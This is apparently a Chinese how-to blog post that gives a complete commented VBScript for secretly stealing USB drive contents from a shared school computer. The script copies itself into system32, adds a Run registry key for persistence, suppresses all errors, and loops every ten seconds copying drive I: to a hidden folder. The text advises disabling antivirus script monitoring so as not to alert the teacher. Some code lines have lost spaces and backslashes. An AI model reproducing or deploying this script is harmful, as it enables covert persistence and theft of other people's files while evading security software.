脚本应该具备以下功能：
1.开机自启动；
2.定时复制U盘所有文件及文件夹到指定位置；
3.无任何错误提示（很关键，如果不想找死的话）。
思路很简单，接下来就是脚本的具体内容了，我在每行脚本后都加了注释，但愿比我还菜的人也能看懂
复制代码 代码如下:
OnErrorResumeNext‘忽略异常，否则可能会有错误提示框
Setfso=CreateObject("Scripting.FileSystemObject")‘创建fso
dimn
Setn=CreateObject("Wscript.Shell")‘声明变量n
Setdir=fso.GetSpecialFolder(1)‘读取system32文件夹路径
fso.GetFile(WScript.ScriptFullName).Copy(dir&"copy.vbs")‘读取自身文件名，并复制自己到system32文件夹，重命名为copy.vbs
dimr
Setr=CreateObject("Wscript.Shell")‘声明变量r，用于读写注册表
r.Regwrite"HKLMSoftwareMicrosoftWindowsCurrentVersionRun","copy.vbs","REG_SZ"‘为脚本添加启动项
fso.CreateFolder("c:windowsexplorer")‘创建文件夹，用来存放U盘文件
fori=1to2
i=1‘看出来了么，这是个死循环，变量i不可能到2，所以可以不断检查U盘并复制内容
fso.CopyFile"i:*","c:windowsexplorer",True‘复制I盘(U盘盘符)所有文件到指定文件夹
fso.CopyFolder"i:*","c:windowsexplorer",True‘复制I盘所有文件夹到指定文件夹
wscript.sleep10000‘挂起10秒，此属性单位为毫秒
next
把上述内容存为kubau0.vbs，才几百字节。
提示一点，因为脚本内容有对注册表和文件的操作，所以执行时要把杀毒软件的网页或脚本之类的监控关掉，否则会不客气的弹出个对话框问你是否执行，如果引起老师怀疑的话……那你就节哀吧。
现在，只要在目标机上执行一次脚本（什么？没反应？当然不会有了！看看进程列表，如果有一个wscript.exe就说明已经执行成功了），脚本执行会停留在死循环里，每隔10秒复制一次文件到C:windowsexplorer文件夹(间隔时间和目标文件夹均可自行设置)，重启后会自动执行，且不会有任何异常提示，毕竟安全才是最重要的嘛！这也是VBS的特点，一切悄无声息。
不过脚本也不是没有缺点，那就是在复制文件的时候U盘灯会狂闪不止，且机器运行速度会明显变慢，且无法通过安全删除硬件来停止U盘，不过好在老师们多是才鸟(才鸟？什么东西？有才的菜鸟？)，但是如果哪位高手能帮我解决，还请不吝赐教！
另外，别以为复制完就万事大吉了，最好定期删除没用的文件，否则目标文件夹会急剧膨胀，比如我们班，一星期下来就超了1G，很恐怖！
【利用VBS脚本轻松盗U盘数据】相关文章：
★ WINDOWS脚本实践:为SAP补丁制作的VBS脚本代码